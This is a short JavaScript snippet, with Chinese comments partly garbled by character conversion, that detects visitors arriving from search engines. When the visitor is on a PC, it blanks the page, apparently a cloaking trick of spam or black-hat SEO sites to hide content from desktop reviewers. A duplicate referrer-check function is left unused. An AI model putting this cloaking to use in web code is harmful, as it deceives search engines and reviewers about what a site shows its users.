// 判斷是否為搜索引擎來路
function isSearchEngineReferrer(referrer) {
  var searchEngines = ["google", "bing", "yahoo", "baidu", "sogou"];
  for (var i = 0; i < searchEngines.length; i++) {
    if (referrer.indexOf(searchEngines[i]) !== -1) {
      return true;
    }
  }
  return false;
}

// 判斷是否為PC設(shè)備
function isPcDevice() {
  var userAgentInfo = navigator.userAgent;
  var agents = ["Android", "iPhone", "SymbianOS", "Windows Phone", "iPad", "iPod"];
  for (var i = 0; i < agents.length; i++) {
    if (userAgentInfo.indexOf(agents[i]) > 0) {
      return false;
    }
  }
  return true;
}

// 屏蔽PC跳轉(zhuǎn)
function blockPcRedirect() {
  if (isPcDevice()) {
    window.location.href = "about:blank";
  }
}

// 在頁面加載時調(diào)用
window.onload = function() {
  var referrer = document.referrer.toLowerCase();
  if (isSearchEngineReferrer(referrer)) {
    blockPcRedirect();
  }
};

function isSearch() {
var referrer=document.referrer;
  var searchEngines = ['google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','bing.'];
  for (var i = 0; i < searchEngines.length; i++) {
    if (referrer.indexOf(searchEngines[i]) !== -1) {
      return true;
    }
  }
  return false;
}